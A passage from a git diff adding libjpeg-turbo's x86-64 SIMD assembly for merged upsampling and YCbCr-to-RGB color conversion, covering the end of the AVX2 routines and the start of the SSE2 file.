Cr As Bs Bt Ct Au Bu Bv Cv -- --) + vpunpcklwd ymmD, ymmD, ymmH + ; ymmD = (B1 C1 A2 B2 B3 C3 A4 B4 B5 C5 A6 B6 B7 C7 A8 B8 + ; Bh Ch Ai Bi Bj Cj Ak Bk Bl Cl Am Bm Bn Cn Ao Bo) + + vpunpckhwd ymmF, ymmE, ymmB + ; ymmF = (Ca Ab Bb Cb Cc Ad Bd Cd Ce Af Bf Cf Cg Ah Bh Ch + ; Cq Ar Br Cr Cs At Bt Ct Cu Av Bv Cv -- -- -- --) + vpunpcklwd ymmE, ymmE, ymmB + ; ymmE = (C2 A3 B3 C3 C4 A5 B5 C5 C6 A7 B7 C7 C8 A9 B9 C9 + ; Ci Aj Bj Cj Ck Al Bl Cl Cm An Bn Cn Co Ap Bp Cp) + + vpshufd ymmH, ymmA, 0x4E + ; ymmH = (A4 B4 C4 A5 A6 B6 C6 A7 A0 B0 C0 A1 A2 B2 C2 A3 + ; Ak Bk Ck Al Am Bm Cm An Ag Bg Cg Ah Ai Bi Ci Aj) + vpunpckldq ymmA, ymmA, ymmD + ; ymmA = (A0 B0 C0 A1 B1 C1 A2 B2 A2 B2 C2 A3 B3 C3 A4 B4 + ; Ag Bg Cg Ah Bh Ch Ai Bi Ai Bi Ci Aj Bj Cj Ak Bk) + vpunpckhdq ymmD, ymmD, ymmE + ; ymmD = (B5 C5 A6 B6 C6 A7 B7 C7 B7 C7 A8 B8 C8 A9 B9 C9 + ; Bl Cl Am Bm Cm An Bn Cn Bn Cn Ao Bo Co Ap Bp Cp) + vpunpckldq ymmE, ymmE, ymmH + ; ymmE = (C2 A3 B3 C3 A4 B4 C4 A5 C4 A5 B5 C5 A6 B6 C6 A7 + ; Ci Aj Bj Cj Ak Bk Ck Al Ck Al Bl Cl Am Bm Cm An) + + vpshufd ymmH, ymmG, 0x4E + ; ymmH = (Ac Bc Cc Ad Ae Be Ce Af A8 B8 C8 A9 Aa Ba Ca Ab + ; As Bs Cs At Au Bu Cu Av Ao Bo Co Ap Aq Bq Cq Ar) + vpunpckldq ymmG, ymmG, ymmC + ; ymmG = (A8 B8 C8 A9 B9 C9 Aa Ba Aa Ba Ca Ab Bb Cb Ac Bc + ; Ao Bo Co Ap Bp Cp Aq Bq Aq Bq Cq Ar Br Cr As Bs) + vpunpckhdq ymmC, ymmC, ymmF + ; ymmC = (Bd Cd Ae Be Ce Af Bf Cf Bf Cf Ag Bg Cg Ah Bh Ch + ; Bt Ct Au Bu Cu Av Bv Cv Bv Cv -- -- -- -- -- --) + vpunpckldq ymmF, ymmF, ymmH + ; ymmF = (Ca Ab Bb Cb Ac Bc Cc Ad Cc Ad Bd Cd Ae Be Ce Af + ; Cq Ar Br Cr As Bs Cs At Cs At Bt Ct Au Bu Cu Av) + + vpunpcklqdq ymmH, ymmA, ymmE + ; ymmH = (A0 B0 C0 A1 B1 C1 A2 B2 C2 A3 B3 C3 A4 B4 C4 A5 + ; Ag Bg Cg Ah Bh Ch Ai Bi Ci Aj Bj Cj Ak Bk Ck Al) + vpunpcklqdq ymmG, ymmD, ymmG + ; ymmG = (B5 C5 A6 B6 C6 A7 B7 C7 A8 B8 C8 A9 B9 C9 Aa Ba + ; Bl Cl Am Bm Cm An Bn Cn Ao Bo Co Ap Bp Cp Aq Bq) + vpunpcklqdq ymmC, ymmF, ymmC + ; ymmC = (Ca Ab Bb Cb Ac Bc Cc Ad Bd Cd Ae Be Ce Af Bf Cf + ; Cq Ar Br Cr As Bs Cs At Bt Ct Au Bu Cu Av Bv Cv) + + vperm2i128 ymmA, ymmH, ymmG, 0x20 + ; ymmA = (A0 B0 C0 A1 B1 C1 A2 B2 C2 A3 B3 C3 A4 B4 C4 A5 + ; B5 C5 A6 B6 C6 A7 B7 C7 A8 B8 C8 A9 B9 C9 Aa Ba) + vperm2i128 ymmD, ymmC, ymmH, 0x30 + ; ymmD = (Ca Ab Bb Cb Ac Bc Cc Ad Bd Cd Ae Be Ce Af Bf Cf + ; Ag Bg Cg Ah Bh Ch Ai Bi Ci Aj Bj Cj Ak Bk Ck Al) + vperm2i128 ymmF, ymmG, ymmC, 0x31 + ; ymmF = (Bl Cl Am Bm Cm An Bn Cn Ao Bo Co Ap Bp Cp Aq Bq + ; Cq Ar Br Cr As Bs Cs At Bt Ct Au Bu Cu Av Bv Cv) + + cmp rcx, byte SIZEOF_YMMWORD + jb short .column_st64 + + test rdi, SIZEOF_YMMWORD - 1 + jnz short .out1 + ; --(aligned)------------------- + vmovntdq YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + vmovntdq YMMWORD [rdi + 1 * SIZEOF_YMMWORD], ymmD + vmovntdq YMMWORD [rdi + 2 * SIZEOF_YMMWORD], ymmF + jmp short .out0 +.out1: ; --(unaligned)----------------- + vmovdqu YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + vmovdqu YMMWORD [rdi + 1 * SIZEOF_YMMWORD], ymmD + vmovdqu YMMWORD [rdi + 2 * SIZEOF_YMMWORD], ymmF +.out0: + add rdi, byte RGB_PIXELSIZE * SIZEOF_YMMWORD ; outptr + sub rcx, byte SIZEOF_YMMWORD + jz near .endcolumn + + add rsi, byte SIZEOF_YMMWORD ; inptr0 + dec al ; Yctr + jnz near .Yloop_2nd + + add rbx, byte SIZEOF_YMMWORD ; inptr1 + add rdx, byte SIZEOF_YMMWORD ; inptr2 + jmp near .columnloop + +.column_st64: + lea rcx, [rcx + rcx * 2] ; imul ecx, RGB_PIXELSIZE + cmp rcx, byte 2 * SIZEOF_YMMWORD + jb short .column_st32 + vmovdqu YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + vmovdqu YMMWORD [rdi + 1 * SIZEOF_YMMWORD], ymmD + add rdi, byte 2 * SIZEOF_YMMWORD ; outptr + vmovdqa ymmA, ymmF + sub rcx, byte 2 * SIZEOF_YMMWORD + jmp short .column_st31 +.column_st32: + cmp rcx, byte SIZEOF_YMMWORD + jb short .column_st31 + vmovdqu YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + add rdi, byte SIZEOF_YMMWORD ; outptr + vmovdqa ymmA, ymmD + sub rcx, byte SIZEOF_YMMWORD + jmp short .column_st31 +.column_st31: + cmp rcx, byte SIZEOF_XMMWORD + jb short .column_st15 + vmovdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + add rdi, byte SIZEOF_XMMWORD ; outptr + vperm2i128 ymmA, ymmA, ymmA, 1 + sub rcx, byte SIZEOF_XMMWORD +.column_st15: + ; Store the lower 8 bytes of xmmA to the output when it has enough + ; space. + cmp rcx, byte SIZEOF_MMWORD + jb short .column_st7 + vmovq XMM_MMWORD [rdi], xmmA + add rdi, byte SIZEOF_MMWORD + sub rcx, byte SIZEOF_MMWORD + vpsrldq xmmA, xmmA, SIZEOF_MMWORD +.column_st7: + ; Store the lower 4 bytes of xmmA to the output when it has enough + ; space. + cmp rcx, byte SIZEOF_DWORD + jb short .column_st3 + vmovd XMM_DWORD [rdi], xmmA + add rdi, byte SIZEOF_DWORD + sub rcx, byte SIZEOF_DWORD + vpsrldq xmmA, xmmA, SIZEOF_DWORD +.column_st3: + ; Store the lower 2 bytes of rax to the output when it has enough + ; space. + vmovd eax, xmmA + cmp rcx, byte SIZEOF_WORD + jb short .column_st1 + mov word [rdi], ax + add rdi, byte SIZEOF_WORD + sub rcx, byte SIZEOF_WORD + shr rax, 16 +.column_st1: + ; Store the lower 1 byte of rax to the output when it has enough + ; space. + test rcx, rcx + jz short .endcolumn + mov byte [rdi], al + +%else ; RGB_PIXELSIZE == 4 ; ----------- + +%ifdef RGBX_FILLER_0XFF + vpcmpeqb ymm6, ymm6, ymm6 + ; ymm6 = XE = X(02468ace********gikmoqsu********) + vpcmpeqb ymm7, ymm7, ymm7 + ; ymm7 = XO = X(13579bdf********hjlnprtv********) +%else + vpxor ymm6, ymm6, ymm6 + ; ymm6 = XE = X(02468ace********gikmoqsu********) + vpxor ymm7, ymm7, ymm7 + ; ymm7 = XO = X(13579bdf********hjlnprtv********) +%endif + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, C, and D to red, green, and blue. + ; + ; ymmA = (A0 A2 A4 A6 A8 Aa Ac Ae Ag Ai Ak Am Ao Aq As Au) = AE + ; ymmB = (A1 A3 A5 A7 A9 Ab Ad Af Ah Aj Al An Ap Ar At Av) = AO + ; ymmC = (B0 B2 B4 B6 B8 Ba Bc Be Bg Bi Bk Bm Bo Bq Bs Bu) = BE + ; ymmD = (B1 B3 B5 B7 B9 Bb Bd Bf Bh Bj Bl Bn Bp Br Bt Bv) = BO + ; ymmE = (C0 C2 C4 C6 C8 Ca Cc Ce Cg Ci Ck Cm Co Cq Cs Cu) = CE + ; ymmF = (C1 C3 C5 C7 C9 Cb Cd Cf Ch Cj Cl Cn Cp Cr Ct Cv) = CO + ; ymmG = (D0 D2 D4 D6 D8 Da Dc De Dg Di Dk Dm Do Dq Ds Du) = DE + ; ymmH = (D1 D3 D5 D7 D9 Db Dd Df Dh Dj Dl Dn Dp Dr Dt Dv) = DO + + vpunpcklbw ymmA, ymmA, ymmC + ; ymmA = (A0 B0 A2 B2 A4 B4 A6 B6 A8 B8 Aa Ba Ac Bc Ae Be + ; Ag Bg Ai Bi Ak Bk Am Bm Ao Bo Aq Bq As Bs Au Bu) + vpunpcklbw ymmE, ymmE, ymmG + ; ymmE = (C0 D0 C2 D2 C4 D4 C6 D6 C8 D8 Ca Da Cc Dc Ce De + ; Cg Dg Ci Di Ck Dk Cm Dm Co Do Cq Dq Cs Ds Cu Du) + vpunpcklbw ymmB, ymmB, ymmD + ; ymmB = (A1 B1 A3 B3 A5 B5 A7 B7 A9 B9 Ab Bb Ad Bd Af Bf + ; Ah Bh Aj Bj Al Bl An Bn Ap Bp Ar Br At Bt Av Bv) + vpunpcklbw ymmF, ymmF, ymmH + ; ymmF = (C1 D1 C3 D3 C5 D5 C7 D7 C9 D9 Cb Db Cd Dd Cf Df + ; Ch Dh Cj Dj Cl Dl Cn Dn Cp Dp Cr Dr Ct Dt Cv Dv) + + vpunpckhwd ymmC, ymmA, ymmE + ; ymmC = (A8 B8 C8 D8 Aa Ba Ca Da Ac Bc Cc Dc Ae Be Ce De + ; Ao Bo Co Do Aq Bq Cq Dq As Bs Cs Ds Au Bu Cu Du) + vpunpcklwd ymmA, ymmA, ymmE + ; ymmA = (A0 B0 C0 D0 A2 B2 C2 D2 A4 B4 C4 D4 A6 B6 C6 D6 + ; Ag Bg Cg Dg Ai Bi Ci Di Ak Bk Ck Dk Am Bm Cm Dm) + vpunpckhwd ymmG, ymmB, ymmF + ; ymmG = (A9 B9 C9 D9 Ab Bb Cb Db Ad Bd Cd Dd Af Bf Cf Df + ; Ap Bp Cp Dp Ar Br Cr Dr At Bt Ct Dt Av Bv Cv Dv) + vpunpcklwd ymmB, ymmB, ymmF + ; ymmB = (A1 B1 C1 D1 A3 B3 C3 D3 A5 B5 C5 D5 A7 B7 C7 D7 + ; Ah Bh Ch Dh Aj Bj Cj Dj Al Bl Cl Dl An Bn Cn Dn) + + vpunpckhdq ymmE, ymmA, ymmB + ; ymmE = (A4 B4 C4 D4 A5 B5 C5 D5 A6 B6 C6 D6 A7 B7 C7 D7 + ; Ak Bk Ck Dk Al Bl Cl Dl Am Bm Cm Dm An Bn Cn Dn) + vpunpckldq ymmB, ymmA, ymmB + ; ymmB = (A0 B0 C0 D0 A1 B1 C1 D1 A2 B2 C2 D2 A3 B3 C3 D3 + ; Ag Bg Cg Dg Ah Bh Ch Dh Ai Bi Ci Di Aj Bj Cj Dj) + vpunpckhdq ymmF, ymmC, ymmG + ; ymmF = (Ac Bc Cc Dc Ad Bd Cd Dd Ae Be Ce De Af Bf Cf Df + ; As Bs Cs Ds At Bt Ct Dt Au Bu Cu Du Av Bv Cv Dv) + vpunpckldq ymmG, ymmC, ymmG + ; ymmG = (A8 B8 C8 D8 A9 B9 C9 D9 Aa Ba Ca Da Ab Bb Cb Db + ; Ao Bo Co Do Ap Bp Cp Dp Aq Bq Cq Dq Ar Br Cr Dr) + + vperm2i128 ymmA, ymmB, ymmE, 0x20 + ; ymmA = (A0 B0 C0 D0 A1 B1 C1 D1 A2 B2 C2 D2 A3 B3 C3 D3 + ; A4 B4 C4 D4 A5 B5 C5 D5 A6 B6 C6 D6 A7 B7 C7 D7) + vperm2i128 ymmD, ymmG, ymmF, 0x20 + ; ymmD = (A8 B8 C8 D8 A9 B9 C9 D9 Aa Ba Ca Da Ab Bb Cb Db + ; Ac Bc Cc Dc Ad Bd Cd Dd Ae Be Ce De Af Bf Cf Df) + vperm2i128 ymmC, ymmB, ymmE, 0x31 + ; ymmC = (Ag Bg Cg Dg Ah Bh Ch Dh Ai Bi Ci Di Aj Bj Cj Dj + ; Ak Bk Ck Dk Al Bl Cl Dl Am Bm Cm Dm An Bn Cn Dn) + vperm2i128 ymmH, ymmG, ymmF, 0x31 + ; ymmH = (Ao Bo Co Do Ap Bp Cp Dp Aq Bq Cq Dq Ar Br Cr Dr + ; As Bs Cs Ds At Bt Ct Dt Au Bu Cu Du Av Bv Cv Dv) + + cmp rcx, byte SIZEOF_YMMWORD + jb short .column_st64 + + test rdi, SIZEOF_YMMWORD - 1 + jnz short .out1 + ; --(aligned)------------------- + vmovntdq YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + vmovntdq YMMWORD [rdi + 1 * SIZEOF_YMMWORD], ymmD + vmovntdq YMMWORD [rdi + 2 * SIZEOF_YMMWORD], ymmC + vmovntdq YMMWORD [rdi + 3 * SIZEOF_YMMWORD], ymmH + jmp short .out0 +.out1: ; --(unaligned)----------------- + vmovdqu YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + vmovdqu YMMWORD [rdi + 1 * SIZEOF_YMMWORD], ymmD + vmovdqu YMMWORD [rdi + 2 * SIZEOF_YMMWORD], ymmC + vmovdqu YMMWORD [rdi + 3 * SIZEOF_YMMWORD], ymmH +.out0: + add rdi, RGB_PIXELSIZE * SIZEOF_YMMWORD ; outptr + sub rcx, byte SIZEOF_YMMWORD + jz near .endcolumn + + add rsi, byte SIZEOF_YMMWORD ; inptr0 + dec al + jnz near .Yloop_2nd + + add rbx, byte SIZEOF_YMMWORD ; inptr1 + add rdx, byte SIZEOF_YMMWORD ; inptr2 + jmp near .columnloop + +.column_st64: + cmp rcx, byte SIZEOF_YMMWORD / 2 + jb short .column_st32 + vmovdqu YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + vmovdqu YMMWORD [rdi + 1 * SIZEOF_YMMWORD], ymmD + add rdi, byte 2 * SIZEOF_YMMWORD ; outptr + vmovdqa ymmA, ymmC + vmovdqa ymmD, ymmH + sub rcx, byte SIZEOF_YMMWORD / 2 +.column_st32: + cmp rcx, byte SIZEOF_YMMWORD / 4 + jb short .column_st16 + vmovdqu YMMWORD [rdi + 0 * SIZEOF_YMMWORD], ymmA + add rdi, byte SIZEOF_YMMWORD ; outptr + vmovdqa ymmA, ymmD + sub rcx, byte SIZEOF_YMMWORD / 4 +.column_st16: + cmp rcx, byte SIZEOF_YMMWORD / 8 + jb short .column_st15 + vmovdqu XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmmA + add rdi, byte SIZEOF_XMMWORD ; outptr + vperm2i128 ymmA, ymmA, ymmA, 1 + sub rcx, byte SIZEOF_YMMWORD / 8 +.column_st15: + ; Store two pixels (8 bytes) of ymmA to the output when it has enough + ; space. + cmp rcx, byte SIZEOF_YMMWORD / 16 + jb short .column_st7 + vmovq MMWORD [rdi], xmmA + add rdi, byte SIZEOF_YMMWORD / 16 * 4 + sub rcx, byte SIZEOF_YMMWORD / 16 + vpsrldq xmmA, SIZEOF_YMMWORD / 16 * 4 +.column_st7: + ; Store one pixel (4 bytes) of ymmA to the output when it has enough + ; space. + test rcx, rcx + jz short .endcolumn + vmovd XMM_DWORD [rdi], xmmA + +%endif ; RGB_PIXELSIZE ; --------------- + +.endcolumn: + sfence ; flush the write buffer + +.return: + pop rbx + vzeroupper + UNCOLLECT_ARGS 4 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + + +; -------------------------------------------------------------------------- +; +; Upsample and color convert for the case of 2:1 horizontal and 2:1 vertical. +; +; GLOBAL(void) +; jsimd_h2v2_merged_upsample_avx2(JDIMENSION output_width, +; JSAMPIMAGE input_buf, +; JDIMENSION in_row_group_ctr, +; JSAMPARRAY output_buf) +; +; r10d = JDIMENSION output_width +; r11 = JSAMPIMAGE input_buf +; r12d = JDIMENSION in_row_group_ctr +; r13 = JSAMPARRAY output_buf + + align 32 + GLOBAL_FUNCTION(jsimd_h2v2_merged_upsample_avx2) + +EXTN(jsimd_h2v2_merged_upsample_avx2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 4 + push rbx + + mov eax, r10d + + mov rdi, r11 + mov ecx, r12d + mov rsip, JSAMPARRAY [rdi + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rdi + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rdi + 2 * SIZEOF_JSAMPARRAY] + mov rdi, r13 + lea rsi, [rsi + rcx * SIZEOF_JSAMPROW] + + sub rsp, SIZEOF_JSAMPARRAY * 4 + mov JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY], rsip ; intpr00 + mov JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY], rbxp ; intpr1 + mov JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY], rdxp ; intpr2 + mov rbx, rsp + + push rdi + push rcx + push rax + + %ifdef WIN64 + mov r8, rcx + mov r9, rdi + mov rcx, rax + mov rdx, rbx + %else + mov rdx, rcx + mov rcx, rdi + mov rdi, rax + mov rsi, rbx + %endif + + call EXTN(jsimd_h2v1_merged_upsample_avx2) + + pop rax + pop rcx + pop rdi + mov rsip, JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY] + + add rdi, byte SIZEOF_JSAMPROW ; outptr1 + add rsi, byte SIZEOF_JSAMPROW ; inptr01 + + mov JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY], rsip ; intpr00 + mov JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY], rbxp ; intpr1 + mov JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY], rdxp ; intpr2 + mov rbx, rsp + + push rdi + push rcx + push rax + + %ifdef WIN64 + mov r8, rcx + mov r9, rdi + mov rcx, rax + mov rdx, rbx + %else + mov rdx, rcx + mov rcx, rdi + mov rdi, rax + mov rsi, rbx + %endif + + call EXTN(jsimd_h2v1_merged_upsample_avx2) + + pop rax + pop rcx + pop rdi + mov rsip, JSAMPARRAY [rsp + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rsp + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rsp + 2 * SIZEOF_JSAMPARRAY] + add rsp, SIZEOF_JSAMPARRAY * 4 + + pop rbx + UNCOLLECT_ARGS 4 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jdmrgext-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jdmrgext-sse2.asm new file mode 100755 index 0000000..2412a95 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jdmrgext-sse2.asm @@ -0,0 +1,587 @@ +; +; Merged upsampling/color conversion (64-bit SSE2) +; +; Copyright 2009, 2012 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2012, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jcolsamp.inc" + +; -------------------------------------------------------------------------- +; +; Upsample and color convert for the case of 2:1 horizontal and 1:1 vertical. +; +; GLOBAL(void) +; jsimd_h2v1_merged_upsample_sse2(JDIMENSION output_width, +; JSAMPIMAGE input_buf, +; JDIMENSION in_row_group_ctr, +; JSAMPARRAY output_buf) +; +; r10d = JDIMENSION output_width +; r11 = JSAMPIMAGE input_buf +; r12d = JDIMENSION in_row_group_ctr +; r13 = JSAMPARRAY output_buf + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] +%define WK_NUM 3 + + align 32 + GLOBAL_FUNCTION(jsimd_h2v1_merged_upsample_sse2) + +EXTN(jsimd_h2v1_merged_upsample_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, byte (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 4 + push rbx + + mov ecx, r10d ; col + test rcx, rcx + jz near .return + + push rcx + + mov rdi, r11 + mov ecx, r12d + mov rsip, JSAMPARRAY [rdi + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rdi + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rdi + 2 * SIZEOF_JSAMPARRAY] + mov rdi, r13 + mov rsip, JSAMPROW [rsi + rcx * SIZEOF_JSAMPROW] ; inptr0 + mov rbxp, JSAMPROW [rbx + rcx * SIZEOF_JSAMPROW] ; inptr1 + mov rdxp, JSAMPROW [rdx + rcx * SIZEOF_JSAMPROW] ; inptr2 + mov rdip, JSAMPROW [rdi] ; outptr + + pop rcx ; col + +.columnloop: + + movdqa xmm6, XMMWORD [rbx] ; xmm6 = Cb(0123456789abcdef) + movdqa xmm7, XMMWORD [rdx] ; xmm7 = Cr(0123456789abcdef) + + pxor xmm1, xmm1 ; xmm1 = (all 0's) + pcmpeqw xmm3, xmm3 + psllw xmm3, 7 ; xmm3 = { 0xFF80 0xFF80 0xFF80 0xFF80 .. } + + movdqa xmm4, xmm6 + punpckhbw xmm6, xmm1 ; xmm6 = Cb(89abcdef) = CbH + punpcklbw xmm4, xmm1 ; xmm4 = Cb(01234567) = CbL + movdqa xmm0, xmm7 + punpckhbw xmm7, xmm1 ; xmm7 = Cr(89abcdef) = CrH + punpcklbw xmm0, xmm1 ; xmm0 = Cr(01234567) = CrL + + paddw xmm6, xmm3 + paddw xmm4, xmm3 + paddw xmm7, xmm3 + paddw xmm0, xmm3 + + ; (Original) + ; R = Y + 1.40200 * Cr + ; G = Y - 0.34414 * Cb - 0.71414 * Cr + ; B = Y + 1.77200 * Cb + ; + ; (This implementation) + ; R = Y + 0.40200 * Cr + Cr + ; G = Y - 0.34414 * Cb + 0.28586 * Cr - Cr + ; B = Y - 0.22800 * Cb + Cb + Cb + + movdqa xmm5, xmm6 ; xmm5 = CbH + movdqa xmm2, xmm4 ; xmm2 = CbL + paddw xmm6, xmm6 ; xmm6 = 2 * CbH + paddw xmm4, xmm4 ; xmm4 = 2 * CbL + movdqa xmm1, xmm7 ; xmm1 = CrH + movdqa xmm3, xmm0 ; xmm3 = CrL + paddw xmm7, xmm7 ; xmm7 = 2 * CrH + paddw xmm0, xmm0 ; xmm0 = 2 * CrL + + pmulhw xmm6, [rel PW_MF0228] ; xmm6 = (2 * CbH * -FIX(0.22800)) + pmulhw xmm4, [rel PW_MF0228] ; xmm4 = (2 * CbL * -FIX(0.22800)) + pmulhw xmm7, [rel PW_F0402] ; xmm7 = (2 * CrH * FIX(0.40200)) + pmulhw xmm0, [rel PW_F0402] ; xmm0 = (2 * CrL * FIX(0.40200)) + + paddw xmm6, [rel PW_ONE] + paddw xmm4, [rel PW_ONE] + psraw xmm6, 1 ; xmm6 = (CbH * -FIX(0.22800)) + psraw xmm4, 1 ; xmm4 = (CbL * -FIX(0.22800)) + paddw xmm7, [rel PW_ONE] + paddw xmm0, [rel PW_ONE] + psraw xmm7, 1 ; xmm7 = (CrH * FIX(0.40200)) + psraw xmm0, 1 ; xmm0 = (CrL * FIX(0.40200)) + + paddw xmm6, xmm5 + paddw xmm4, xmm2 + paddw xmm6, xmm5 ; xmm6 = (CbH * FIX(1.77200)) = (B - Y)H + paddw xmm4, xmm2 ; xmm4 = (CbL * FIX(1.77200)) = (B - Y)L + paddw xmm7, xmm1 ; xmm7 = (CrH * FIX(1.40200)) = (R - Y)H + paddw xmm0, xmm3 ; xmm0 = (CrL * FIX(1.40200)) = (R - Y)L + + movdqa XMMWORD [wk(0)], xmm6 ; wk(0) = (B - Y)H + movdqa XMMWORD [wk(1)], xmm7 ; wk(1) = (R - Y)H + + movdqa xmm6, xmm5 + movdqa xmm7, xmm2 + punpcklwd xmm5, xmm1 + punpckhwd xmm6, xmm1 + pmaddwd xmm5, [rel PW_MF0344_F0285] + pmaddwd xmm6, [rel PW_MF0344_F0285] + punpcklwd xmm2, xmm3 + punpckhwd xmm7, xmm3 + pmaddwd xmm2, [rel PW_MF0344_F0285] + pmaddwd xmm7, [rel PW_MF0344_F0285] + + paddd xmm5, [rel PD_ONEHALF] + paddd xmm6, [rel PD_ONEHALF] + psrad xmm5, SCALEBITS + psrad xmm6, SCALEBITS + paddd xmm2, [rel PD_ONEHALF] + paddd xmm7, [rel PD_ONEHALF] + psrad xmm2, SCALEBITS + psrad xmm7, SCALEBITS + + packssdw xmm5, xmm6 + ; xmm5 = CbH * -FIX(0.344) + CrH * FIX(0.285) + packssdw xmm2, xmm7 + ; xmm2 = CbL * -FIX(0.344) + CrL * FIX(0.285) + psubw xmm5, xmm1 + ; xmm5 = CbH * -FIX(0.344) + CrH * -FIX(0.714) = (G - Y)H + psubw xmm2, xmm3 + ; xmm2 = CbL * -FIX(0.344) + CrL * -FIX(0.714) = (G - Y)L + + movdqa XMMWORD [wk(2)], xmm5 ; wk(2) = (G - Y)H + + mov al, 2 ; Yctr + jmp short .Yloop_1st + +.Yloop_2nd: + movdqa xmm0, XMMWORD [wk(1)] ; xmm0 = (R - Y)H + movdqa xmm2, XMMWORD [wk(2)] ; xmm2 = (G - Y)H + movdqa xmm4, XMMWORD [wk(0)] ; xmm4 = (B - Y)H + +.Yloop_1st: + movdqa xmm7, XMMWORD [rsi] ; xmm7 = Y(0123456789abcdef) + + pcmpeqw xmm6, xmm6 + psrlw xmm6, BYTE_BIT ; xmm6 = { 0xFF 0x00 0xFF 0x00 .. } + pand xmm6, xmm7 ; xmm6 = Y(02468ace) = YE + psrlw xmm7, BYTE_BIT ; xmm7 = Y(13579bdf) = YO + + movdqa xmm1, xmm0 ; xmm1 = xmm0 = (R - Y)(L / H) + movdqa xmm3, xmm2 ; xmm3 = xmm2 = (G - Y)(L / H) + movdqa xmm5, xmm4 ; xmm5 = xmm4 = (B - Y)(L / H) + + paddw xmm0, xmm6 ; xmm0 = ((R - Y) + YE) = RE = R(02468ace) + paddw xmm1, xmm7 ; xmm1 = ((R - Y) + YO) = RO = R(13579bdf) + packuswb xmm0, xmm0 ; xmm0 = R(02468ace********) + packuswb xmm1, xmm1 ; xmm1 = R(13579bdf********) + + paddw xmm2, xmm6 ; xmm2 = ((G - Y) + YE) = GE = G(02468ace) + paddw xmm3, xmm7 ; xmm3 = ((G - Y) + YO) = GO = G(13579bdf) + packuswb xmm2, xmm2 ; xmm2 = G(02468ace********) + packuswb xmm3, xmm3 ; xmm3 = G(13579bdf********) + + paddw xmm4, xmm6 ; xmm4 = ((B - Y) + YE) = BE = B(02468ace) + paddw xmm5, xmm7 ; xmm5 = ((B - Y) + YO) = BO = B(13579bdf) + packuswb xmm4, xmm4 ; xmm4 = B(02468ace********) + packuswb xmm5, xmm5 ; xmm5 = B(13579bdf********) + +%if RGB_PIXELSIZE == 3 ; --------------- + + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, and C to red, green, and blue. + ; + ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae) = AE + ; xmmB = (A1 A3 A5 A7 A9 Ab Ad Af) = AO + ; xmmC = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce) = CE + ; xmmF = (C1 C3 C5 C7 C9 Cb Cd Cf) = CO + ; xmmG = (** ** ** ** ** ** ** **) + ; xmmH = (** ** ** ** ** ** ** **) + + punpcklbw xmmA, xmmC + ; xmmA = (A0 B0 A2 B2 A4 B4 A6 B6 A8 B8 Aa Ba Ac Bc Ae Be) + punpcklbw xmmE, xmmB + ; xmmE = (C0 A1 C2 A3 C4 A5 C6 A7 C8 A9 Ca Ab Cc Ad Ce Af) + punpcklbw xmmD, xmmF + ; xmmD = (B1 C1 B3 C3 B5 C5 B7 C7 B9 C9 Bb Cb Bd Cd Bf Cf) + + movdqa xmmG, xmmA + movdqa xmmH, xmmA + punpcklwd xmmA, xmmE + ; xmmA = (A0 B0 C0 A1 A2 B2 C2 A3 A4 B4 C4 A5 A6 B6 C6 A7) + punpckhwd xmmG, xmmE + ; xmmG = (A8 B8 C8 A9 Aa Ba Ca Ab Ac Bc Cc Ad Ae Be Ce Af) + + psrldq xmmH, 2 + ; xmmH = (A2 B2 A4 B4 A6 B6 A8 B8 Aa Ba Ac Bc Ae Be -- --) + psrldq xmmE, 2 + ; xmmE = (C2 A3 C4 